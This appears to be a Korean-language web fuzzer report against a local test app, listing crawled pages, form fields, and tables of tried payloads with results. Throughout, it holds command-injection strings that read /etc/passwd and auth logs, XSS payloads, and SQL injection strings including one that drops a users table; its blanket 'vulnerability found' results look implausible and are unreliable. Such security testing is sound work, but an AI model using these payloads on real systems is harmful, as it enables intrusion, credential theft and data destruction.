

웹 퍼저 리포트

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1. 크롤링 결과

크롤링한 URL
- http://localhost:3000/productDetail/16
- http://localhost:3000/posts/add
- http://localhost:3000/postDetail/7
- http://localhost:3000/productDetail/6
- http://localhost:3000/productDetail/14
- http://localhost:3000/productDetail/9
- http://localhost:3000/products/add
- http://localhost:3000/productDetail/5
- http://localhost:3000/postDetail/1
- http://localhost:3000/postDetail/5
- http://localhost:3000/postDetail/16
- http://localhost:3000/postDetail/4
- http://localhost:3000/productDetail/12
- http://localhost:3000/postDetail/17
- http://localhost:3000/postDetail/10
- http://localhost:3000/productDetail/2
- http://localhost:3000/postDetail/13
- http://localhost:3000/productDetail/4
- http://localhost:3000/register
- http://localhost:3000/posts
- http://localhost:3000/postDetail/12
- http://localhost:3000/productDetail/7
- http://localhost:3000/productDetail/11
- http://localhost:3000/postDetail/8

- http://localhost:3000/products
- http://localhost:3000/login
- http://localhost:3000/postDetail/6
- http://localhost:3000/productDetail/15
- http://localhost:3000/productDetail/13
- http://localhost:3000/productDetail/3
- http://localhost:3000/products?page=1
- http://localhost:3000/postDetail/2
- http://localhost:3000/postDetail/9
- http://localhost:3000/productDetail/8
- http://localhost:3000/postDetail/14
- http://localhost:3000/productDetail/1
- http://localhost:3000/products?page=2
- http://localhost:3000/postDetail/15
- http://localhost:3000/posts?page=2
- http://localhost:3000/
- http://localhost:3000/productDetail/10
- http://localhost:3000/postDetail/11
- http://localhost:3000/posts?page=1
- http://localhost:3000/postDetail/3

2. 품과 입력 필드

URL	폼 액션	메소드	입력 필드
http://localhost:3000/login	http://localhost:3000/login	POST	username (type: text), password (type: password)
http://localhost:3000/products	http://localhost:3000/products/search	GET	query (type: text)
http://localhost:3000/products	http://localhost:3000/products/search	GET	query (type: text)
http://localhost:3000/register	http://localhost:3000/register	POST	username (type: text), password (type: password), confirmPassword (type: password)
http://localhost:3000/products/add	http://localhost:3000/products/add	POST	title (type: text), content (type: textarea), file (type: file)
http://localhost:3000/products?page=1	http://localhost:3000/products/search	GET	query (type: text)
http://localhost:3000/products?page=2	http://localhost:3000/products/search	GET	query (type: text)
http://localhost:3000/products/add	http://localhost:3000/products/add	POST	name (type: text), description (type: textarea), price (type: number)
http://localhost:3000/products?page=1	http://localhost:3000/products/search	GET	query (type: text)
http://localhost:3000/products?page=2	http://localhost:3000/products/search	GET	query (type: text)

3. 퍼징 시도 및 결과

-- 취약점 발견 시도 --

Command Injection

폼 액션	페이로드	결과
http://localhost:3000/login	netstat -an	Command Injection 취약점 발견
http://localhost:3000/login	ps aux	Command Injection 취약점 발견
http://localhost:3000/login	&& cat /var/log/auth.log	Command Injection 취약점 발견
http://localhost:3000/login	; ls	Command Injection 취약점 발견
http://localhost:3000/login	&& cat /etc/passwd	Command Injection 취약점 발견
http://localhost:3000/login	whoami	Command Injection 취약점 발견
http://localhost:3000/products/search	; ls	Command Injection 취약점 발견
http://localhost:3000/products/search	&& cat /etc/passwd	Command Injection 취약점 발견
http://localhost:3000/products/search	whoami	Command Injection 취약점 발견
http://localhost:3000/products/search	netstat -an	Command Injection 취약점 발견
http://localhost:3000/products/search	ps aux	Command Injection 취약점 발견
http://localhost:3000/products/search	&& cat /var/log/auth.log	Command Injection 취약점 발견
http://localhost:3000/products/search	; ls	Command Injection 취약점 발견
http://localhost:3000/products/search	whoami	Command Injection 취약점 발견
http://localhost:3000/products/search	&& cat /etc/passwd	Command Injection 취약점 발견

http://localhost:3000/products/search	&& cat /var/log/auth.log	Command Injection 취약점 발견
http://localhost:3000/products/search	netstat -an	Command Injection 취약점 발견
http://localhost:3000/products/search	ps aux	Command Injection 취약점 발견
http://localhost:3000/register	&& cat /var/log/auth.log	Command Injection 취약점 발견
http://localhost:3000/register	whoami	Command Injection 취약점 발견
http://localhost:3000/register	; ls	Command Injection 취약점 발견
http://localhost:3000/register	&& cat /etc/passwd	Command Injection 취약점 발견
http://localhost:3000/register	netstat -an	Command Injection 취약점 발견
http://localhost:3000/register	ps aux	Command Injection 취약점 발견
http://localhost:3000/posts/add	; ls	Command Injection 취약점 발견
http://localhost:3000/posts/add	whoami	Command Injection 취약점 발견
http://localhost:3000/posts/add	netstat -an	Command Injection 취약점 발견
http://localhost:3000/posts/add	&& cat /etc/passwd	Command Injection 취약점 발견
http://localhost:3000/posts/add	ps aux	Command Injection 취약점 발견
http://localhost:3000/posts/add	&& cat /var/log/auth.log	Command Injection 취약점 발견
http://localhost:3000/products/search	; ls	Command Injection 취약점 발견
http://localhost:3000/products/search	whoami	Command Injection 취약점 발견
http://localhost:3000/products/search	&& cat /etc/passwd	Command Injection 취약점 발견

http://localhost:3000/products/search	netstat -an	Command Injection 취약점 발견
http://localhost:3000/products/search	ps aux	Command Injection 취약점 발견
http://localhost:3000/products/search	&& cat /var/log/auth.log	Command Injection 취약점 발견
http://localhost:3000/products/search	; ls	Command Injection 취약점 발견
http://localhost:3000/products/search	whoami	Command Injection 취약점 발견
http://localhost:3000/products/search	&& cat /etc/passwd	Command Injection 취약점 발견
http://localhost:3000/products/search	netstat -an	Command Injection 취약점 발견
http://localhost:3000/products/search	ps aux	Command Injection 취약점 발견
http://localhost:3000/products/search	&& cat /var/log/auth.log	Command Injection 취약점 발견
http://localhost:3000/products/add	; ls	Command Injection 취약점 발견
http://localhost:3000/products/add	&& cat /etc/passwd	Command Injection 취약점 발견
http://localhost:3000/products/add	netstat -an	Command Injection 취약점 발견
http://localhost:3000/products/add	whoami	Command Injection 취약점 발견
http://localhost:3000/products/add	ps aux	Command Injection 취약점 발견
http://localhost:3000/products/add	&& cat /var/log/auth.log	Command Injection 취약점 발견
http://localhost:3000/products/search	; ls	Command Injection 취약점 발견
http://localhost:3000/products/search	whoami	Command Injection 취약점 발견
http://localhost:3000/products/search	&& cat /etc/passwd	Command Injection 취약점 발견

http://localhost:3000/products/search	netstat -an	Command Injection 취약점 발견
http://localhost:3000/products/search	ps aux	Command Injection 취약점 발견
http://localhost:3000/products/search	&& cat /var/log/auth.log	Command Injection 취약점 발견
http://localhost:3000/products/search	; ls	Command Injection 취약점 발견
http://localhost:3000/products/search	whoami	Command Injection 취약점 발견
http://localhost:3000/products/search	&& cat /etc/passwd	Command Injection 취약점 발견
http://localhost:3000/products/search	netstat -an	Command Injection 취약점 발견
http://localhost:3000/products/search	ps aux	Command Injection 취약점 발견
http://localhost:3000/products/search	&& cat /var/log/auth.log	Command Injection 취약점 발견

XSS

폼 액션	페이로드	결과
http://localhost:3000/products/search	<script>alert('XSS')</script>	XSS 취약점 발견
http://localhost:3000/products/search	'"><script>alert('XSS')</script>	XSS 취약점 발견
http://localhost:3000/products/search		XSS 취약점 발견
http://localhost:3000/products/search	<svg/onload=alert('XSS')>	XSS 취약점 발견
http://localhost:3000/products/search	<iframe src='javascript:alert("XSS")'></iframe>	XSS 취약점 발견
http://localhost:3000/products/search	<script>alert('XSS')</script>	XSS 취약점 발견
http://localhost:3000/products/search		XSS 취약점 발견
http://localhost:3000/products/search	'"><script>alert('XSS')</script>	XSS 취약점 발견
http://localhost:3000/products/search	<svg/onload=alert('XSS')>	XSS 취약점 발견
http://localhost:3000/products/search	<iframe src='javascript:alert("XSS")'></iframe>	XSS 취약점 발견
http://localhost:3000/products/search	<script>alert('XSS')</script>	XSS 취약점 발견
http://localhost:3000/products/search	'"><script>alert('XSS')</script>	XSS 취약점 발견
http://localhost:3000/products/search		XSS 취약점 발견
http://localhost:3000/products/search	<svg/onload=alert('XSS')>	XSS 취약점 발견
http://localhost:3000/products/search	<iframe src='javascript:alert("XSS")'></iframe>	XSS 취약점 발견
http://localhost:3000/products/search	<script>alert('XSS')</script>	XSS 취약점 발견
http://localhost:3000/products/search	'"><script>alert('XSS')</script>	XSS 취약점 발견

http://localhost:3000/products/search		XSS 취약점 발견
http://localhost:3000/products/search	<svg/onload=alert('XSS')>	XSS 취약점 발견
http://localhost:3000/products/search	<iframe src='javascript:alert("XSS")'></iframe>	XSS 취약점 발견
http://localhost:3000/products/search	<script>alert('XSS')</script>	XSS 취약점 발견
http://localhost:3000/products/search	""><script>alert('XSS')</script>	XSS 취약점 발견
http://localhost:3000/products/search		XSS 취약점 발견
http://localhost:3000/products/search	<svg/onload=alert('XSS')>	XSS 취약점 발견
http://localhost:3000/products/search	<iframe src='javascript:alert("XSS")'></iframe>	XSS 취약점 발견
http://localhost:3000/products/search	<script>alert('XSS')</script>	XSS 취약점 발견
http://localhost:3000/products/search	""><script>alert('XSS')</script>	XSS 취약점 발견
http://localhost:3000/products/search		XSS 취약점 발견
http://localhost:3000/products/search	<iframe src='javascript:alert("XSS")'></iframe>	XSS 취약점 발견
http://localhost:3000/products/search	<svg/onload=alert('XSS')>	XSS 취약점 발견

요청 실패: [Errno 54] Connection reset by peer

폼 액션	페이로드	결과
http://localhost:3000/register	' OR '1'='1' ({	요청 실패: [Errno 54] Connection reset by peer
http://localhost:3000/register	admin' --	요청 실패: [Errno 54] Connection reset by peer

SQL Injection

폼 액션	페이로드	결과
http://localhost:3000/posts/add	' OR '1'='1	SQL Injection 취약점 발견
http://localhost:3000/posts/add	'; DROP TABLE users; --	SQL Injection 취약점 발견
http://localhost:3000/posts/add	admin' --	SQL Injection 취약점 발견
http://localhost:3000/posts/add	' OR '1'='1' /*	SQL Injection 취약점 발견
http://localhost:3000/posts/add	' OR '1'='1' ({	SQL Injection 취약점 발견
http://localhost:3000/posts/add	' OR '1'='1' #	SQL Injection 취약점 발견
http://localhost:3000/products/add	' OR '1'='1	SQL Injection 취약점 발견
http://localhost:3000/products/add	'; DROP TABLE users; --	SQL Injection 취약점 발견
http://localhost:3000/products/add	' OR '1'='1' /*	SQL Injection 취약점 발견
http://localhost:3000/products/add	' OR '1'='1' ({	SQL Injection 취약점 발견
http://localhost:3000/products/add	admin' --	SQL Injection 취약점 발견
http://localhost:3000/products/add	' OR '1'='1' #	SQL Injection 취약점 발견

취약점 없는 시도

폼 액션	페이로드	결과
http://localhost:3000/login	<svg/onload=alert('XSS')>	취약점 없음
http://localhost:3000/login	' OR '1'='1' #	취약점 없음
http://localhost:3000/login		취약점 없음
http://localhost:3000/login	<script>alert('XSS')</script>	취약점 없음
http://localhost:3000/login	""><script>alert('XSS')</script>	취약점 없음
http://localhost:3000/login	' OR '1'='1' ({	취약점 없음
http://localhost:3000/login	'; DROP TABLE users; --	취약점 없음
http://localhost:3000/login	<iframe src='javascript:alert("XSS")'></iframe>	취약점 없음
http://localhost:3000/login	' OR '1'='1' /*	취약점 없음
http://localhost:3000/login	' OR '1'='1	취약점 없음
http://localhost:3000/login	admin' --	취약점 없음
http://localhost:3000/products/search	'; DROP TABLE users; --	취약점 없음
http://localhost:3000/products/search	' OR '1'='1' /*	취약점 없음
http://localhost:3000/products/search	' OR '1'='1	취약점 없음
http://localhost:3000/products/search	' OR '1'='1' ({	취약점 없음
http://localhost:3000/products/search	admin' --	취약점 없음
http://localhost:3000/products/search	' OR '1'='1' #	취약점 없음

http://localhost:3000/products/search	' OR '1'='1	취약점 없음
http://localhost:3000/products/search	'; DROP TABLE users; --	취약점 없음
http://localhost:3000/products/search	' OR '1'='1' /*	취약점 없음
http://localhost:3000/products/search	' OR '1'='1' ({	취약점 없음
http://localhost:3000/products/search	admin' --	취약점 없음
http://localhost:3000/products/search	' OR '1'='1' #	취약점 없음
http://localhost:3000/register	'; DROP TABLE users; --	취약점 없음
http://localhost:3000/register	' OR '1'='1' /*	취약점 없음
http://localhost:3000/register	' OR '1'='1	취약점 없음
http://localhost:3000/register	' OR '1'='1' #	취약점 없음
http://localhost:3000/register	""<script>alert('XSS')</script>	취약점 없음
http://localhost:3000/register		취약점 없음
http://localhost:3000/register	<svg/onload=alert('XSS')>>	취약점 없음
http://localhost:3000/register	<iframe src='javascript:alert("XSS")'></iframe>	취약점 없음
http://localhost:3000/register	<script>alert('XSS')</script>	취약점 없음
http://localhost:3000/posts/add	<script>alert('XSS')</script>	취약점 없음
http://localhost:3000/posts/add	""<script>alert('XSS')</script>	취약점 없음
http://localhost:3000/posts/add	<svg/onload=alert('XSS')>>	취약점 없음

http://localhost:3000/posts/add		취약점 없음
http://localhost:3000/posts/add	<iframe src='javascript:alert("XSS")'></iframe>	취약점 없음
http://localhost:3000/products/search	' OR '1'='1	취약점 없음
http://localhost:3000/products/search	'; DROP TABLE users; --	취약점 없음
http://localhost:3000/products/search	' OR '1'='1' /*	취약점 없음
http://localhost:3000/products/search	' OR '1'='1' ({	취약점 없음
http://localhost:3000/products/search	admin' --	취약점 없음
http://localhost:3000/products/search	' OR '1'='1' #	취약점 없음
http://localhost:3000/products/search	' OR '1'='1	취약점 없음
http://localhost:3000/products/search	'; DROP TABLE users; --	취약점 없음
http://localhost:3000/products/search	' OR '1'='1' /*	취약점 없음
http://localhost:3000/products/search	' OR '1'='1' ({	취약점 없음
http://localhost:3000/products/search	admin' --	취약점 없음
http://localhost:3000/products/search	' OR '1'='1' #	취약점 없음
http://localhost:3000/products/add	<script>alert('XSS')</script>	취약점 없음
http://localhost:3000/products/add	""><script>alert('XSS')</script>	취약점 없음
http://localhost:3000/products/add		취약점 없음
http://localhost:3000/products/search	' OR '1'='1	취약점 없음

http://localhost:3000/products/add	<svg/onload=alert('XSS')>	취약점 없음
http://localhost:3000/products/search	'; DROP TABLE users; --	취약점 없음
http://localhost:3000/products/add	<iframe src='javascript:alert("XSS")'></iframe>	취약점 없음
http://localhost:3000/products/search	' OR '1'='1' /*	취약점 없음
http://localhost:3000/products/search	' OR '1'='1' ({	취약점 없음
http://localhost:3000/products/search	admin' --	취약점 없음
http://localhost:3000/products/search	' OR '1'='1' #	취약점 없음
http://localhost:3000/products/search	' OR '1'='1	취약점 없음
http://localhost:3000/products/search	'; DROP TABLE users; --	취약점 없음
http://localhost:3000/products/search	' OR '1'='1' /*	취약점 없음
http://localhost:3000/products/search	' OR '1'='1' ({	취약점 없음
http://localhost:3000/products/search	admin' --	취약점 없음
http://localhost:3000/products/search	' OR '1'='1' #	취약점 없음